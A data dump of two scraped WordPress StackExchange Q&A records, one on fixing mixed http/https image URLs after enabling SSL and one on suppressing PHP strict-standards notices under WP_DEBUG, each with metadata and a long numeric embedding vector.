I see the images on the page are still pointing to the http:// URL they were added with but I would have thought that my redirect would force them to be served over https://, this doesn't seem to be the case. Either way I'm happy to rewrite them to protocol relative URLs, I'm just not sure on the best way. How is it best to go about changing the URLs for the images in posts?
A: Installing the WordPress HTTPS plugin should take care of it.
A: After Implementing SSL, any link or image have http then you always get mixed content warnings in Console and page will not work properly,
so you should fix all http to => https by manually or plugin
|
wordpress
|
{
"language": "en",
"length": 191,
"provenance": "stackexchange_00019.jsonl.gz:437434",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115224"
}
|
[
0.07550048828125,
-0.00018405914306640625,
0.032745361328125,
0.026092529296875,
0.01528167724609375,
-0.04925537109375,
0.08990478515625,
-0.052459716796875,
0.018310546875,
0.014801025390625,
0.04278564453125,
-0.004261016845703125,
0.00235748291015625,
-0.04998779296875,
-0.006191253662109375,
0.0184326171875,
0.03778076171875,
-0.007259368896484375,
0.042510986328125,
-0.00939178466796875,
0.0192108154296875,
0.00917816162109375,
0.052032470703125,
0.04766845703125,
0.0033111572265625,
-0.00146484375,
0.1094970703125,
-0.0257720947265625,
0.00537872314453125,
-0.025848388671875,
0.02117919921875,
-0.0243988037109375,
0.025390625,
0.043243408203125,
-0.08782958984375,
-0.01177215576171875,
0.0106048583984375,
0.0034427642822265625,
-0.0369873046875,
0.07098388671875,
0.0008487701416015625,
-0.0019235610961914062,
0.07672119140625,
-0.01274871826171875,
0.0232391357421875,
-0.03143310546875,
0.0177459716796875,
-0.0653076171875,
-0.00022733211517333984,
0.005340576171875,
0.0307769775390625,
0.02349853515625,
0.03399658203125,
0.0005035400390625,
-0.00936126708984375,
-0.0118408203125,
-0.0379638671875,
0.044708251953125,
-0.004802703857421875,
0.032867431640625,
0.01245880126953125,
0.06317138671875,
-0.022979736328125,
0.00814056396484375,
0.009063720703125,
0.0069122314453125,
0.052825927734375,
0.01169586181640625,
-0.08721923828125,
-0.0287017822265625,
0.037506103515625,
-0.039703369140625,
-0.00909423828125,
-0.036346435546875,
0.0285491943359375,
0.03369140625,
-0.005786895751953125,
0.0231475830078125,
-0.00872039794921875,
0.01485443115234375,
-0.0012874603271484375,
-0.0404052734375,
-0.0182952880859375,
-0.006214141845703125,
0.0203399658203125,
0.01537322998046875,
-0.00249481201171875,
-0.01201629638671875,
0.0011930465698242188,
0.0084991455078125,
-0.017913818359375,
-0.018157958984375,
0.0208892822265625,
0.0277862548828125,
-0.021759033203125,
-0.005168914794921875,
0.0007567405700683594,
0.0301361083984375,
-0.017974853515625,
0.0196075439453125,
-0.035369873046875,
-0.0202178955078125,
0.011474609375,
-0.030670166015625,
-0.00591278076171875,
0.036865234375,
0.0155487060546875,
0.0260162353515625,
0.054443359375,
0.0204315185546875,
0.01287078857421875,
0.053955078125,
-0.027008056640625,
-0.0009946823120117188,
-0.0272979736328125,
0.0197296142578125,
-0.0411376953125,
-0.0016603469848632812,
-0.0184478759765625,
0.039703369140625,
-0.0009250640869140625,
0.040740966796875,
-0.0098114013671875,
-0.026092529296875,
0.0170135498046875,
0.00605010986328125,
-0.0018596649169921875,
-0.046630859375,
-0.00719451904296875,
0.0262298583984375,
-0.031951904296875,
0.0180206298828125,
0.0625,
0.005992889404296875,
-0.0017385482788085938,
-0.0250091552734375,
0.0079498291015625,
-0.04986572265625,
-0.04693603515625,
0.052490234375,
-0.0200958251953125,
-0.052520751953125,
-0.01531219482421875,
-0.031585693359375,
0.0755615234375,
0.01067352294921875,
0.0223388671875,
0.0322265625,
0.0263671875,
-0.0298919677734375,
0.07080078125,
-0.01183319091796875,
0.04150390625,
-0.0017986297607421875,
0.01155853271484375,
-0.0433349609375,
0.057037353515625,
-0.052520751953125,
0.006961822509765625,
-0.044342041015625,
0.0138702392578125,
0.034332275390625,
0.056732177734375,
-0.01806640625,
-0.003108978271484375,
-0.057464599609375,
-0.07159423828125,
-0.00897979736328125,
0.0254364013671875,
0.018890380859375,
-0.00653076171875,
-0.00009876489639282227,
-0.0258026123046875,
0.0172882080078125,
0.0023326873779296875,
0.0218505859375,
0.002918243408203125,
0.0171356201171875,
0.00875091552734375,
0.0765380859375,
0.0283355712890625,
-0.030609130859375,
0.0623779296875,
-0.01611328125,
-0.042327880859375,
-0.01045989990234375,
-0.01140594482421875,
0.035125732421875,
0.038909912109375,
0.016937255859375,
-0.0026111602783203125,
-0.006755828857421875,
-0.040130615234375,
0.035980224609375,
-0.0171661376953125,
-0.0240936279296875,
-0.0232391357421875,
0.0029201507568359375,
-0.013275146484375,
-0.021697998046875,
-0.0196990966796875,
-0.0006842613220214844,
-0.023681640625,
0.061981201171875,
0.054962158203125,
-0.020751953125,
0.02203369140625,
-0.016754150390625,
0.0046844482421875,
0.0221099853515625,
0.01287078857421875,
0.002353668212890625,
-0.0260467529296875,
-0.007480621337890625,
-0.01157379150390625,
0.0076904296875,
0.007167816162109375,
0.0250396728515625,
0.007587432861328125,
0.0284576416015625,
-0.007305145263671875,
-0.030914306640625,
-0.01291656494140625,
0.013458251953125,
0.0177001953125,
0.01837158203125,
-0.025177001953125,
0.005588531494140625,
-0.00455474853515625,
0.0206298828125,
-0.039886474609375,
0.0269317626953125,
-0.003551483154296875,
0.01001739501953125,
-0.0419921875,
-0.0006551742553710938,
0.0008707046508789062,
-0.01242828369140625,
0.01500701904296875,
0.033233642578125,
0.0380859375,
0.01224517822265625,
-0.01081085205078125,
-0.03753662109375,
0.035736083984375,
-0.040618896484375,
0.01541900634765625,
-0.0274200439453125,
0.031494140625,
0.006916046142578125,
0.006259918212890625,
-0.0504150390625,
0.035247802734375,
-0.047149658203125,
0.0290069580078125,
0.0303497314453125,
0.0217437744140625,
-0.0016622543334960938,
-0.0014591217041015625,
0.01418304443359375,
0.0207366943359375,
0.0223388671875,
-0.02862548828125,
0.018218994140625,
0.0123748779296875,
-0.023651123046875,
0.006404876708984375,
-0.005096435546875,
-0.00960540771484375,
-0.02911376953125,
0.0107574462890625,
-0.03729248046875,
-0.018951416015625,
0.0288848876953125,
0.07861328125,
-0.0218353271484375,
-0.0214385986328125,
-0.01210784912109375,
0.016571044921875,
0.02789306640625,
-0.00975799560546875,
-0.04364013671875,
-0.006641387939453125,
0.00882720947265625,
-0.012603759765625,
-0.048004150390625,
0.07354736328125,
0.06005859375,
0.0130462646484375,
0.0251007080078125,
0.047821044921875,
-0.00685882568359375,
0.004730224609375,
0.00885772705078125,
-0.0185089111328125,
-0.01812744140625,
0.032989501953125,
-0.0345458984375,
0.029876708984375,
-0.02362060546875,
0.079345703125,
0.057098388671875,
-0.01503753662109375,
0.01389312744140625,
-0.0026454925537109375,
0.021881103515625,
-0.005840301513671875,
0.00293731689453125,
-0.014862060546875,
-0.0203857421875,
-0.06610107421875,
-0.0418701171875,
0.0198211669921875,
-0.0489501953125,
0.00839996337890625,
-0.01018524169921875,
-0.03192138671875,
-0.01494598388671875,
-0.11358642578125,
-0.0623779296875,
-0.09271240234375,
-0.06573486328125,
-0.0283203125,
0.0216827392578125,
-0.0286712646484375,
0.0433349609375,
0.0267333984375,
0.0299835205078125,
-0.007328033447265625,
-0.01065826416015625,
-0.0782470703125,
-0.055389404296875,
-0.08697509765625,
-0.01239776611328125,
-0.01194000244140625,
0.037200927734375,
0.006816864013671875,
0.01250457763671875,
0.005535125732421875,
-0.03131103515625,
0.006961822509765625,
0.04168701171875,
-0.00627899169921875,
-0.00905609130859375,
-0.03570556640625,
-0.006099700927734375,
-0.0017995834350585938,
-0.0020694732666015625,
0.022796630859375,
0.0157012939453125,
-0.00809478759765625,
0.007556915283203125,
-0.0026531219482421875,
0.00098419189453125,
-0.0105133056640625,
-0.044921875,
0.00881195068359375,
0.002460479736328125,
-0.0360107421875,
-0.040771484375,
0.00121307373046875,
-0.031341552734375,
-0.0287017822265625,
-0.00495147705078125,
0.004665374755859375,
0.000949859619140625,
-0.0186004638671875,
0.0006742477416992188,
-0.0008401870727539062,
0.0006594657897949219,
0.064453125,
-0.0286102294921875,
0.00354766845703125,
-0.0248870849609375,
-0.040557861328125,
-0.0592041015625,
0.0189361572265625,
-0.027557373046875,
-0.0272216796875,
-0.029266357421875,
-0.00800323486328125,
-0.0232391357421875,
-0.01346588134765625,
-0.058929443359375,
-0.046295166015625,
0.026824951171875,
-0.045196533203125,
0.01056671142578125,
-0.04815673828125,
-0.0207366943359375,
-0.0304412841796875,
0.083740234375,
-0.0241241455078125,
-0.0002524852752685547,
0.0284881591796875,
0.008636474609375,
-0.027008056640625,
0.0079345703125,
-0.05511474609375,
-0.0117645263671875,
-0.09002685546875,
-0.0166473388671875,
-0.021697998046875,
-0.03240966796875,
0.007373809814453125,
-0.05426025390625,
-0.03411865234375,
-0.0518798828125,
0.00444793701171875,
0.0285797119140625,
-0.0091400146484375,
0.01708984375,
-0.00728607177734375,
0.0142974853515625,
0.0011720657348632812,
-0.012298583984375,
-0.11370849609375,
-0.0406494140625,
0.037078857421875,
0.08477783203125,
-0.04400634765625,
0.01116943359375,
-0.043304443359375,
0.07501220703125,
-0.00948333740234375,
0.01184844970703125,
-0.026947021484375,
-0.0090789794921875,
0.0204315185546875,
0.0278167724609375,
-0.019256591796875,
0.0138702392578125,
-0.009735107421875,
-0.030731201171875,
-0.05120849609375,
-0.04315185546875,
-0.0091400146484375,
0.0014362335205078125,
0.0232086181640625,
-0.03338623046875,
-0.0347900390625,
0.01309967041015625,
0.0193939208984375,
0.02593994140625,
-0.0013065338134765625,
-0.0202789306640625,
-0.004215240478515625,
-0.0270233154296875,
0.026885986328125,
-0.0423583984375,
-0.0025043487548828125,
0.016876220703125,
0.019195556640625,
0.002918243408203125,
-0.0036334991455078125,
-0.0074615478515625,
0.011566162109375,
0.023162841796875,
0.01824951171875,
0.049224853515625,
0.0341796875,
0.0251312255859375,
-0.007549285888671875,
0.00946807861328125,
0.019561767578125,
-0.01335906982421875,
0.01503753662109375,
-0.003040313720703125,
-0.01180267333984375,
0.0040435791015625,
-0.0002048015594482422,
0.005107879638671875,
0.049560546875,
0.01552581787109375,
0.0015058517456054688,
0.0113677978515625,
-0.03240966796875,
-0.00946807861328125,
-0.007556915283203125,
0.0213165283203125,
-0.0390625,
0.018951416015625,
0.0023250579833984375,
0.04541015625,
0.0054931640625,
0.002658843994140625,
0.0247955322265625,
0.0303192138671875,
0.0189971923828125,
-0.06597900390625,
-0.018890380859375,
-0.042694091796875,
0.039825439453125,
-0.038177490234375,
-0.0024433135986328125,
-0.0186614990234375,
-0.01512908935546875,
0.09423828125,
0.0234222412109375,
-0.044281005859375,
0.043548583984375,
-0.02264404296875,
-0.01239776611328125,
0.0184783935546875,
-0.00235748291015625,
0.0240478515625,
-0.0269927978515625,
-0.025665283203125,
-0.01070404052734375,
-0.021636962890625,
-0.034027099609375,
-0.0404052734375,
0.01317596435546875,
0.0295257568359375,
-0.024749755859375,
0.031341552734375,
0.0212554931640625,
0.038604736328125,
0.01165771484375,
-0.0305633544921875,
-0.00667572021484375,
-0.003070831298828125,
-0.0025806427001953125,
0.0193634033203125,
0.0406494140625,
0.004062652587890625,
-0.0080718994140625,
0.026397705078125,
-0.0011587142944335938,
-0.0245361328125,
0.0115509033203125,
0.0401611328125,
-0.00514984130859375,
0.0111541748046875,
-0.006504058837890625,
-0.006214141845703125,
-0.021026611328125,
0.06689453125,
0.01291656494140625,
-0.059539794921875,
-0.040313720703125,
0.007541656494140625,
0.05487060546875,
-0.005146026611328125,
-0.049530029296875,
0.0311737060546875,
-0.046539306640625,
0.041351318359375,
0.0048065185546875,
-0.0174560546875,
0.042510986328125,
0.027557373046875,
0.0052337646484375,
-0.0626220703125,
-0.032806396484375,
0.038604736328125,
0.047607421875,
-0.0328369140625,
-0.022552490234375,
0.0297088623046875,
0.00402069091796875,
0.00040984153747558594,
0.00014674663543701172,
-0.0239105224609375,
0.007904052734375,
0.0243072509765625,
-0.0111541748046875,
-0.046783447265625,
-0.03692626953125,
-0.00261688232421875,
-0.0279693603515625,
0.0024585723876953125,
0.0682373046875,
0.0302276611328125,
-0.0276947021484375,
-0.0265960693359375,
0.05816650390625,
0.049224853515625,
-0.0177764892578125,
-0.06695556640625,
-0.0032596588134765625,
-0.019775390625,
0.03460693359375,
0.059356689453125,
0.005832672119140625,
0.05035400390625,
-0.0290985107421875,
0.07708740234375,
0.00872039794921875,
0.0002758502960205078,
-0.049896240234375,
-0.025634765625,
-0.00882720947265625,
-0.07373046875,
-0.0164947509765625,
0.023956298828125,
-0.03228759765625,
0.040069580078125,
0.0290069580078125,
-0.004299163818359375,
-0.0001709461212158203,
-0.007598876953125,
0.01202392578125,
-0.01617431640625,
0.0233917236328125,
0.0021038055419921875,
0.00015223026275634766,
0.04754638671875,
0.04754638671875,
0.01088714599609375,
-0.050262451171875,
-0.0458984375,
-0.00818634033203125,
0.04180908203125,
-0.0262451171875,
-0.00867462158203125,
0.04071044921875,
-0.0160064697265625,
0.06622314453125,
-0.0272369384765625,
0.035400390625,
0.06689453125,
-0.00037479400634765625,
0.037200927734375,
-0.01103973388671875,
-0.01983642578125,
0.011138916015625,
0.01806640625,
-0.0194244384765625,
-0.0149993896484375,
0.0042877197265625,
-0.0200958251953125,
-0.00472259521484375,
0.035552978515625,
0.057342529296875,
-0.040740966796875,
-0.0006308555603027344,
0.018310546875,
-0.0243377685546875,
-0.0029354095458984375,
0.029937744140625,
-0.03277587890625,
-0.005970001220703125,
0.0160064697265625,
-0.052886962890625,
-0.0164947509765625,
0.0050811767578125,
-0.002201080322265625,
0.00653839111328125,
0.01285552978515625,
0.06524658203125,
0.0079193115234375,
-0.055908203125,
-0.0467529296875,
0.05230712890625,
-0.040374755859375,
-0.0082855224609375,
0.0121307373046875,
-0.0035800933837890625,
-0.0288848876953125,
-0.0570068359375,
-0.0316162109375,
-0.01393890380859375,
-0.013519287109375,
0.021087646484375,
0.021453857421875,
0.04541015625,
0.07232666015625,
0.00466156005859375,
0.0088958740234375,
0.050384521484375,
0.0033245086669921875,
0.06060791015625,
-0.02264404296875,
0.00516510009765625,
0.023834228515625,
-0.021728515625,
-0.0013828277587890625,
0.01532745361328125,
-0.00643157958984375,
-0.01267242431640625,
-0.027191162109375,
0.07342529296875,
-0.032318115234375,
-0.0086669921875,
0.0118255615234375,
0.0254669189453125,
-0.00487518310546875,
0.01873779296875,
0.0193939208984375,
0.0022907257080078125,
0.0133056640625,
0.002567291259765625,
-0.004558563232421875,
-0.011444091796875,
0.0076904296875,
-0.04388427734375,
0.06390380859375,
-0.01806640625,
0.0254974365234375,
0.0009379386901855469,
0.01189422607421875,
-0.0004405975341796875,
0.00690460205078125,
0.050201416015625,
0.0257568359375,
-0.0309295654296875,
-0.03668212890625,
-0.0019702911376953125,
-0.0008563995361328125,
-0.0173797607421875,
0.06768798828125,
0.09478759765625,
0.0294952392578125,
-0.081298828125,
-0.00042724609375,
0.05908203125,
0.045989990234375,
0.016754150390625,
0.058441162109375,
-0.02618408203125,
0.0229644775390625,
0.0148468017578125,
-0.03515625,
0.03326416015625,
-0.02197265625,
-0.034332275390625,
0.0013561248779296875,
0.04071044921875,
0.04852294921875,
0.00902557373046875,
0.0260162353515625,
-0.05889892578125,
0.019378662109375,
0.07525634765625,
-0.044342041015625,
0.0462646484375,
-0.0242767333984375,
-0.01849365234375,
0.03424072265625,
0.0026836395263671875,
0.01537322998046875,
0.02398681640625,
-0.0187225341796875,
0.01306915283203125,
0.017425537109375,
0.01019287109375,
0.0166778564453125,
0.03106689453125,
0.01309967041015625,
0.0286712646484375,
0.00269317626953125,
0.0128631591796875,
0.047698974609375,
0.034881591796875,
0.01232147216796875,
0.0279083251953125,
0.056732177734375,
0.037017822265625,
-0.034942626953125,
-0.000059485435485839844,
0.0007014274597167969,
-0.01180267333984375,
0.03106689453125,
-0.03955078125,
0.01367950439453125,
-0.0672607421875,
-0.06640625,
0.00847625732421875,
0.0032978057861328125,
0.027374267578125,
0.00821685791015625,
0.01479339599609375,
0.0423583984375,
-0.0523681640625,
0.0233612060546875,
-0.0206756591796875,
-0.0164337158203125,
0.0038204193115234375,
0.02215576171875,
0.009796142578125,
0.01459503173828125,
-0.0032367706298828125,
-0.0010204315185546875,
-0.005275726318359375,
0.0560302734375,
0.018951416015625,
0.00937652587890625,
-0.027313232421875,
-0.0419921875,
0.0127716064453125,
0.0234832763671875,
0.0361328125,
-0.019256591796875,
0.04156494140625,
0.05511474609375,
-0.0156707763671875,
-0.013580322265625,
0.02734375,
0.004344940185546875,
0.036895751953125,
-0.027069091796875,
-0.00861358642578125,
0.00482177734375,
-0.03790283203125,
0.00030350685119628906,
-0.041107177734375,
0.0606689453125,
0.0036602020263671875,
0.035064697265625,
0.00975799560546875,
-0.005523681640625,
0.0222625732421875,
-0.006755828857421875,
0.033447265625,
0.017486572265625,
-0.0214385986328125,
-0.0212860107421875,
0.031829833984375,
-0.0193939208984375,
-0.0056610107421875,
0.027435302734375,
-0.017333984375,
0.02227783203125,
0.0106048583984375,
-0.016845703125,
0.0210113525390625,
-0.00374603271484375,
0.00457763671875,
-0.0146636962890625,
0.00966644287109375,
-0.01837158203125,
0.0227508544921875,
0.01372528076171875,
0.01476287841796875,
0.03424072265625,
0.001636505126953125,
0.056884765625,
-0.02581787109375,
0.026397705078125,
0.01146697998046875,
-0.01495361328125,
-0.00586700439453125,
-0.010650634765625,
0.056243896484375,
-0.01446533203125,
-0.019317626953125,
-0.01409912109375,
-0.042877197265625,
0.04791259765625,
0.01421356201171875,
-0.0196380615234375,
0.0377197265625,
-0.0027923583984375,
-0.0167999267578125,
-0.0146484375,
-0.0070648193359375,
-0.04339599609375,
-0.067626953125,
-0.072998046875,
0.011749267578125,
0.0006594657897949219,
0.0091705322265625,
-0.027496337890625,
0.05743408203125,
0.00861358642578125,
0.0189208984375,
-0.0016956329345703125,
-0.03411865234375,
-0.012054443359375,
0.023773193359375,
-0.0134124755859375,
0.004547119140625,
0.035675048828125,
0.0005903244018554688,
0.0105133056640625,
0.0172882080078125,
0.0152130126953125,
0.02508544921875,
0.01200103759765625,
-0.04278564453125,
-0.0038604736328125,
-0.0127410888671875,
-0.0182037353515625,
-0.007747650146484375,
0.0125885009765625,
-0.0194244384765625,
-0.050048828125,
0.031646728515625,
0.0026226043701171875,
0.0004715919494628906,
-0.04541015625,
-0.0272674560546875,
-0.002933502197265625,
-0.0478515625,
0.0037593841552734375,
-0.0213623046875,
0.051361083984375,
0.0078887939453125,
-0.0190582275390625,
-0.004528045654296875,
-0.0213623046875,
0.02569580078125,
-0.00807952880859375,
0.0030574798583984375,
0.0005865097045898438,
0.051025390625,
-0.047332763671875,
-0.058013916015625,
-0.0170440673828125,
0.03033447265625,
-0.06182861328125,
0.026336669921875,
0.053009033203125,
-0.031890869140625,
-0.0162811279296875,
-0.00806427001953125,
0.0279388427734375,
0.040191650390625,
-0.015350341796875,
0.0029506683349609375,
0.0250701904296875,
0.004364013671875,
-0.046875,
-0.053863525390625,
0.0200042724609375,
-0.033721923828125,
-0.0224609375,
0.01490020751953125,
0.01300811767578125,
0.038055419921875,
-0.01751708984375,
-0.05908203125,
0.0677490234375,
-0.0140380859375,
-0.01751708984375,
-0.042694091796875,
0.00762176513671875,
-0.01227569580078125,
0.054290771484375,
0.0025386810302734375,
-0.0172271728515625,
-0.01119232177734375,
0.036346435546875,
-0.0140228271484375,
0.061004638671875,
-0.03131103515625,
0.02044677734375,
0.01236724853515625,
0.0276641845703125,
0.0275115966796875,
-0.01175689697265625,
0.00406646728515625,
0.0087432861328125,
0.0032958984375,
0.024383544921875,
-0.04254150390625,
0.00817108154296875,
-0.004116058349609375,
0.00943756103515625,
-0.01110076904296875,
-0.0023784637451171875,
-0.00997161865234375,
-0.0311737060546875,
0.00789642333984375,
0.02899169921875,
0.008331298828125,
-0.004489898681640625,
-0.03472900390625,
-0.0304412841796875,
0.0174713134765625,
-0.023468017578125,
0.003673553466796875,
-0.056396484375,
-0.0034885406494140625,
-0.0184173583984375,
-0.0106048583984375,
-0.00732421875,
0.00650787353515625,
-0.0307464599609375,
0.0009298324584960938,
0.006656646728515625,
-0.0251922607421875,
0.0038623809814453125,
-0.005859375,
0.049560546875,
-0.03143310546875,
0.02166748046875,
-0.0181732177734375,
0.0328369140625,
0.0183868408203125,
-0.00736236572265625,
-0.00150299072265625,
0.002063751220703125,
0.0166015625,
0.0186004638671875,
0.0184173583984375,
0.004581451416015625,
-0.0038204193115234375,
-0.004543304443359375,
-0.0227813720703125,
0.006465911865234375,
0.0166778564453125,
0.01001739501953125,
-0.0092926025390625,
-0.01410675048828125,
0.004302978515625,
0.01849365234375,
-0.0184478759765625,
0.0147247314453125,
0.003368377685546875,
0.025421142578125,
-0.006134033203125,
-0.0024566650390625,
0.04266357421875,
-0.067626953125,
0.01291656494140625,
0.0214080810546875,
-0.005413055419921875,
0.044647216796875,
-0.037353515625,
-0.0406494140625,
-0.02642822265625,
-0.026580810546875
] |
458567a39b415c4fcb6b9744548337bdf736ea32
|
Wordpress Stackexchange
Q: Debug mode shows Strict Standards When I set WP_DEBUG to true in wp-config.php, I get to see all the strict standards and deprecated messages.
I've set the error_reporting in my php.ini, ini_set() and error_reporting() to E_ERROR | E_WARNING | E_PARSE. But I still get to see the strict standards messages.
I know the messages can be useful, but they appear in some of the plugins I am using and I am not interested in seeing them. How do I disable them?
A: Just don’t set WP_DEBUG to TRUE. The error level is set in wp_debug_mode(), which is called in wp-settings.php before any plugins are loaded. If you leave the default values WordPress will set it to:
error_reporting(
E_CORE_ERROR |
E_CORE_WARNING |
E_COMPILE_ERROR |
E_ERROR |
E_WARNING |
E_PARSE |
E_USER_ERROR |
E_USER_WARNING |
E_RECOVERABLE_ERROR
);
But you should keep strict standard messages on, because in some cases they advance to real errors in later PHP versions, so it is better to fix them early.
|
Q: Debug mode shows Strict Standards When I set WP_DEBUG to true in wp-config.php, I get to see all the strict standards and deprecated messages.
I've set the error_reporting in my php.ini, ini_set() and error_reporting() to E_ERROR | E_WARNING | E_PARSE. But I still get to see the strict standards messages.
I know the messages can be useful, but they appear in some of the plugins I am using and I am not interested in seeing them. How do I disable them?
A: Just don’t set WP_DEBUG to TRUE. The error level is set in wp_debug_mode(), which is called in wp-settings.php before any plugins are loaded. If you leave the default values WordPress will set it to:
error_reporting(
E_CORE_ERROR |
E_CORE_WARNING |
E_COMPILE_ERROR |
E_ERROR |
E_WARNING |
E_PARSE |
E_USER_ERROR |
E_USER_WARNING |
E_RECOVERABLE_ERROR
);
But you should keep strict standard messages on, because in some cases they advance to real errors in later PHP versions, so it is better to fix them early.
A: To hide strict errors you could use the solution provided by RadGH here: just put the following code in a must use plugin (a single php file under /wp-content/mu-plugins/)
if (WP_DEBUG && WP_DEBUG_DISPLAY)
{
ini_set('error_reporting', E_ALL & ~E_STRICT & ~E_DEPRECATED);
}
|
wordpress
|
{
"language": "en",
"length": 207,
"provenance": "stackexchange_00019.jsonl.gz:437436",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115233"
}
|
[
0.0838623046875,
-0.0175933837890625,
-0.00974273681640625,
-0.039642333984375,
0.014984130859375,
-0.0380859375,
0.048797607421875,
-0.0043182373046875,
0.0309600830078125,
-0.0105743408203125,
0.003452301025390625,
-0.0377197265625,
-0.0029163360595703125,
-0.040802001953125,
-0.0023784637451171875,
-0.0296478271484375,
0.0201263427734375,
0.004337310791015625,
0.0174407958984375,
-0.0156402587890625,
-0.00998687744140625,
0.0030517578125,
-0.00893402099609375,
0.058349609375,
-0.01226806640625,
0.0209197998046875,
0.061737060546875,
-0.021942138671875,
-0.0001277923583984375,
-0.027923583984375,
0.004669189453125,
0.00518035888671875,
0.0293426513671875,
0.09979248046875,
-0.11651611328125,
0.01145172119140625,
-0.00638580322265625,
0.016387939453125,
-0.0167083740234375,
0.061859130859375,
0.015777587890625,
-0.0013723373413085938,
0.0830078125,
-0.04852294921875,
0.02557373046875,
-0.01953125,
0.039581298828125,
-0.032012939453125,
0.01279449462890625,
-0.0299530029296875,
0.020233154296875,
-0.00829315185546875,
0.048370361328125,
-0.042144775390625,
-0.038482666015625,
-0.040313720703125,
-0.031646728515625,
0.00550079345703125,
0.0279693603515625,
0.07733154296875,
-0.00408935546875,
-0.010650634765625,
-0.0165252685546875,
-0.07781982421875,
0.024932861328125,
0.0178985595703125,
-0.004302978515625,
0.0152130126953125,
-0.004695892333984375,
0.020263671875,
0.006038665771484375,
-0.0455322265625,
-0.003143310546875,
-0.011566162109375,
-0.006557464599609375,
-0.00350189208984375,
0.017486572265625,
-0.0073394775390625,
0.00617218017578125,
0.0027408599853515625,
0.043212890625,
-0.0222015380859375,
-0.029083251953125,
0.02703857421875,
0.01355743408203125,
0.0450439453125,
0.0166015625,
-0.033782958984375,
0.0012340545654296875,
-0.0298919677734375,
-0.00583648681640625,
0.00650787353515625,
-0.045257568359375,
-0.0153045654296875,
0.004566192626953125,
-0.04656982421875,
0.00717926025390625,
0.053436279296875,
-0.0302734375,
-0.020050048828125,
-0.027862548828125,
0.0006818771362304688,
-0.039093017578125,
-0.01507568359375,
0.0004162788391113281,
0.01416015625,
-0.0244903564453125,
-0.035491943359375,
0.01611328125,
0.057403564453125,
-0.00852203369140625,
-0.0015974044799804688,
-0.0190887451171875,
-0.039276123046875,
-0.016998291015625,
0.03131103515625,
-0.0178375244140625,
0.007221221923828125,
0.006565093994140625,
0.0200347900390625,
0.02679443359375,
0.07440185546875,
-0.0394287109375,
0.00264739990234375,
-0.0169525146484375,
-0.01219940185546875,
0.0180511474609375,
-0.04730224609375,
0.0233306884765625,
0.025421142578125,
-0.0131683349609375,
0.007701873779296875,
-0.0007929801940917969,
0.0030078887939453125,
-0.018768310546875,
-0.015106201171875,
0.00933074951171875,
-0.0311126708984375,
-0.01248931884765625,
0.0312347412109375,
-0.037078857421875,
-0.03564453125,
0.0093231201171875,
-0.00783538818359375,
-0.03912353515625,
0.0015535354614257812,
0.017333984375,
0.02813720703125,
-0.0019683837890625,
-0.045928955078125,
-0.015899658203125,
0.03582763671875,
-0.00017464160919189453,
0.0212554931640625,
-0.00275421142578125,
-0.007030487060546875,
0.0189056396484375,
-0.024444580078125,
0.0064697265625,
-0.040496826171875,
-0.034820556640625,
-0.021881103515625,
0.003543853759765625,
-0.072265625,
-0.04998779296875,
0.01531219482421875,
-0.0165863037109375,
0.0107574462890625,
0.0192718505859375,
0.006622314453125,
0.027984619140625,
-0.0093231201171875,
-0.042816162109375,
-0.0166015625,
-0.00833892822265625,
-0.012237548828125,
-0.0428466796875,
0.006778717041015625,
0.036224365234375,
0.00569915771484375,
0.001628875732421875,
-0.0164642333984375,
0.02178955078125,
0.0272674560546875,
-0.0538330078125,
-0.0176849365234375,
-0.007572174072265625,
0.0245513916015625,
0.04583740234375,
0.0099334716796875,
0.03314208984375,
-0.036041259765625,
0.02197265625,
0.015655517578125,
-0.0183563232421875,
-0.06500244140625,
-0.0216522216796875,
-0.01910400390625,
-0.033843994140625,
0.035369873046875,
-0.0191650390625,
-0.0203857421875,
-0.0008463859558105469,
-0.0131072998046875,
-0.1153564453125,
-0.021697998046875,
-0.04559326171875,
0.03887939453125,
-0.006778717041015625,
-0.0011768341064453125,
0.0170745849609375,
-0.00788116455078125,
-0.012359619140625,
0.00457000732421875,
-0.0209503173828125,
0.016632080078125,
-0.0175933837890625,
0.046600341796875,
0.00420379638671875,
0.0260772705078125,
0.010498046875,
-0.03533935546875,
0.0233917236328125,
0.00641632080078125,
0.0024127960205078125,
0.0141143798828125,
0.006229400634765625,
0.01477813720703125,
0.06756591796875,
0.01727294921875,
0.05291748046875,
-0.0374755859375,
0.0146942138671875,
0.0301055908203125,
-0.00848388671875,
-0.0032329559326171875,
0.0199737548828125,
-0.06292724609375,
0.0202178955078125,
0.035186767578125,
0.045654296875,
0.035125732421875,
0.0088653564453125,
0.00926971435546875,
0.046142578125,
-0.0556640625,
0.0252532958984375,
-0.01629638671875,
0.0138092041015625,
-0.02838134765625,
-0.0078887939453125,
-0.060943603515625,
0.06256103515625,
-0.049346923828125,
0.051116943359375,
0.024810791015625,
-0.049591064453125,
-0.048583984375,
-0.025177001953125,
0.0298614501953125,
0.0188751220703125,
-0.0103759765625,
0.007511138916015625,
-0.0108795166015625,
0.01515960693359375,
0.0167236328125,
0.007152557373046875,
0.01056671142578125,
-0.0199737548828125,
0.024932861328125,
0.0189056396484375,
-0.050994873046875,
-0.002838134765625,
0.039947509765625,
0.002368927001953125,
0.01332855224609375,
-0.024261474609375,
-0.00290679931640625,
-0.007038116455078125,
0.01056671142578125,
-0.0017633438110351562,
0.02471923828125,
0.054779052734375,
-0.00470733642578125,
-0.005428314208984375,
-0.0310821533203125,
0.039459228515625,
0.00798797607421875,
0.040252685546875,
-0.05059814453125,
-0.0168609619140625,
0.032684326171875,
-0.02972412109375,
0.058685302734375,
0.01491546630859375,
-0.042816162109375,
-0.015380859375,
-0.048736572265625,
0.03521728515625,
-0.016021728515625,
0.026885986328125,
0.0738525390625,
0.01024627685546875,
0.004436492919921875,
0.0024471282958984375,
0.03289794921875,
0.0311279296875,
-0.0116119384765625,
-0.0267333984375,
-0.0022678375244140625,
-0.06195068359375,
-0.033935546875,
0.01763916015625,
0.024169921875,
-0.030853271484375,
-0.039215087890625,
-0.050201416015625,
0.0123748779296875,
-0.047637939453125,
-0.0234222412109375,
-0.051727294921875,
-0.035369873046875,
-0.01271820068359375,
0.01690673828125,
-0.0205230712890625,
0.00806427001953125,
0.043701171875,
0.0087890625,
0.02349853515625,
-0.0394287109375,
-0.0027256011962890625,
-0.0255889892578125,
-0.0233154296875,
0.009124755859375,
0.01554107666015625,
-0.012298583984375,
0.0023632049560546875,
0.08251953125,
